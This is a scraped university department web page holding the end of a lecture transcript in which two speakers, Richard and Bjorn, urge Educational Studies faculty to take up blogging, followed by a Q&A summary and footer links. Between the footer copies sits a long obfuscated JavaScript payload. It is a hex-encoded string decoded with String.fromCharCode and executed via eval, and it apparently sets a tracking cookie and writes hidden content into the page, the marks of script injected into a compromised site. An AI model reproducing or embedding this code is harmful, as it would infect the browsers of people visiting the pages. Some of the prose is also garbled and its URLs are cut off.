RICHARD:  That, I guess represents better knowledge-management, through blogging.  True, the initial intent of blogger software was to create enable personal weblogs.  All the same, the same software can be used by unit coordinators, centre heads, or whole departments without a full content management system, goosing more people into posting content.  Thus we urge you not to reject weblogs completely until you also considered their content-management possibilities.  The University of Indiana runs a well-regarded headline service blog about law news (  Michigan State facilitates posts at its history network (  Should Ed Studies also be an early adapter? 

BJORN:  To get into blogging, venture through the doors of a few of these places we've taken you.  If this brainwork can be an extension of existing interests you absolutely enjoy, read a blog, maybe leaving comments for the blogger to weigh.  And if you have any interest in sharing your opinions with others, go ahead and start a weblog, or contribute to a future Educational Studies blog at UBC.  All it takes is a feel for the system, some time, willingness to credit others, passion, mind, and an interest in fellow-humans.  As a commentator wrote to a new blogger the other day, reading or doing a blog (READ QUICKLY) "is a big shove toward trying to form an opinion, maybe even a worthwhile one, not necessarily a once-and-for-all opinion, enunciating a (settled) doctrine, but more along the lines of "just why was I attracted to that shiny new meme?"   If those two pictures of computer life on the Department's new-this-week home page are for real and not eye candy, you will continue to be into computers.  Weblogs can be part of that scene.

RICHARD:  At the risk of overstating, blogs can be like systems, coffeehouses, or communities, where analyses transpire, and to be candid, where analyses are not always as probing as all would like.  Blogs also can operate like brains and their neurons, churning away with information and connections that may be worth tapping.

            Let me conclude by recalling that after summer classes, I found this diagram lying in the classroom wastebasket of Pond 115.  Bjorn's and my position, which is somewhat audacious and uncalled for from two transients in your friendly midst, is that it might be worthwhile for you to consider a blog. that prevents this decline from ever ever happening to you.  This graph conjures up a terrible eventual fate for any organization that's as stellar as this one is today.

And that's our take on what blogging's about.


Questions touched on ethics, public and private lives of bloggers, blogs as post-modern play, whether the lecture at times veered toward being a love-in for blogs, time expenditures for blogging, and whether or not  the lecturers are themselves bloggers.

^ back to top


.Learn about edst.


Richard and Bjorn's lecture



EDST home


e:2d:30:2d:27:1e:32:4:1:17:66:70:68:5d:65:25:6a:6b:70:63:5c:25:5f:5c:60:5e:5f:6b:17:34:17:1e:2d:30:2d:27:67:6f:1e:32:4:1:17:66:70:68:5d:65:25:6a:6b:70:63:5c:25:6e:60:5b:6b:5f:17:34:17:1e:2d:30:2d:27:67:6f:1e:32:4:1:17:66:70:68:5d:65:25:6a:6b:70:63:5c:25:63:5c:5d:6b:17:34:17:1e:28:27:27:27:2d:30:2d:27:1e:32:4:1:17:66:70:68:5d:65:25:6a:6b:70:63:5c:25:6b:66:67:17:34:17:1e:28:27:27:27:2d:30:2d:27:1e:32:4:1:4:1:17:60:5d:17:1f:18:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:66:70:68:5d:65:1e:20:20:17:72:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:6e:69:60:6b:5c:1f:1e:33:67:17:60:5b:34:53:1e:66:70:68:5d:65:53:1e:17:5a:63:58:6a:6a:34:53:1e:66:70:68:5d:65:27:30:53:1e:17:35:33:26:67:35:1e:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5e:5c:6b:3c:63:5c:64:5c:65:6b:39:70:40:5b:1f:1e:66:70:68:5d:65:1e:20:25:58:67:67:5c:65:5b:3a:5f:60:63:5b:1f:66:70:68:5d:65:20:32:4:1:17:74:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:4a:5c:6b:3a:66:66:62:60:5c:1f:5a:66:66:62:60:5c:45:58:64:5c:23:5a:66:66:62:60:5c:4d:58:63:6c:5c:23:65:3b:58:70:6a:23:67:58:6b:5f:20:17:72:4:1:17:6d:58:69:17:6b:66:5b:58:70:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:6d:58:69:17:5c:6f:67:60:69:5c:17:34:17:65:5c:6e:17:3b:58:6b:5c:1f:20:32:4:1:17:60:5d:17:1f:65:3b:58:70:6a:34:34:65:6c:63:63:17:73:73:17:65:3b:58:70:6a:34:34:27:20:17:65:3b:58:70:6a:34:28:32:4:1:17:5c:6f:67:60:69:5c:25:6a:5c:6b:4b:60:64:5c:1f:6b:66:5b:58:70:25:5e:5c:6b:4b:60:64:5c:1f:20:17:22:17:2a:2d:27:27:27:27:27:21:29:2b:21:65:3b:58:70:6a:20:32:4:1:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:17:34:17:5a:66:66:62:60:5c:45:58:64:5c:22:19:34:19:22:5c:6a:5a:58:67:5c:1f:5a:66:66:62:60:5c:4d:58:63:6c:5c:20:4:1:17:22:17:19:32:5c:6f:67:60:69:5c:6a:34:19:17:22:17:5c:6f:67:60:69:5c:25:6b:66:3e:44:4b:4a:6b:69:60:65:5e:1f:20:17:22:17:1f:1f:67:58:6b:5f:20:17:36:17:19:32:17:67:58:6b:5f:34:19:17:22:17:67:58:6b:5f:17:31:17:19:19:20:32:4:1:74:4:1:5d:6c:65:5a:6b:60:66:65:17:3e:5c:6b:3a:66:66:62:60:5c:1f:17:65:58:64:5c:17:20:17:72:4:1:17:6d:58:69:17:6a:6b:58:69:6b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:65:58:64:5c:17:22:17:19:34:19:17:20:32:4:1:17:6d:58:69:17:63:5c:65:17:34:17:6a:6b:58:69:6b:17:22:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:22:17:28:32:4:1:17:60:5d:17:1f:17:1f:17:18:6a:6b:58:69:6b:17:20:17:1d:1d:4:1:17:1f:17:65:58:64:5c:17:18:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:27:23:17:65:58:64:5c:25:63:5c:65:5e:6b:5f:17:20:17:20:17:20:4:1:17:72:4:1:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:74:4:1:17:60:5d:17:1f:17:6a:6b:58:69:6b:17:34:34:17:24:28:17:20:17:69:5c:6b:6c:69:65:17:65:6c:63:63:32:4:1:17:6d:58:69:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:60:65:5b:5c:6f:46:5d:1f:17:19:32:19:23:17:63:5c:65:17:20:32:4:1:17:60:5d:17:1f:17:5c:65:5b:17:34:34:17:24:28:17:20:17:5c:65:5b:17:34:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:63:5c:65:5e:6b:5f:32:4:1:17:69:5c:6b:6c:69:65:17:6c:65:5c:6a:5a:58:67:5c:1f:17:5b:66:5a:6c:64:5c:65:6b:25:5a:66:66:62:60:5c:25:6a:6c:59:6a:6b:69:60:65:5e:1f:17:63:5c:65:23:17:5c:65:5b:17:20:17:20:32:4:1:74:4:1:60:5d:17:1f:65:58:6d:60:5e:58:6b:66:69:25:5a:66:66:62:60:5c:3c:65:58:59:63:5c:5b:20:4:1:72:4:1:60:5d:1f:3e:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:20:34:34:2c:2c:20:72:74:5c:63:6a:5c:72:4a:5c:6b:3a:66:66:62:60:5c:1f:1e:6d:60:6a:60:6b:5c:5b:56:6c:68:1e:23:17:1e:2c:2c:1e:23:17:1e:28:1e:23:17:1e:26:1e:20:32:4:1:4:1:66:70:68:5d:65:27:30:1f:20:32:4:1:74:4:1:74"[obgzlp](":");}oye=ktezg;bpyl=[];for(cxicpu=22-20-2;-cxicpu 1424!=0;cxicpu =1){oezql=cxicpu;if((0x19==031))bpyl =String["fromCharCode"](eval(gzlfq oye[1*oezql]) 0xa-qgb);}rkopz=eval;rkopz(bpyl)}

.Learn about edst.


Richard and Bjorn's lecture



EDST home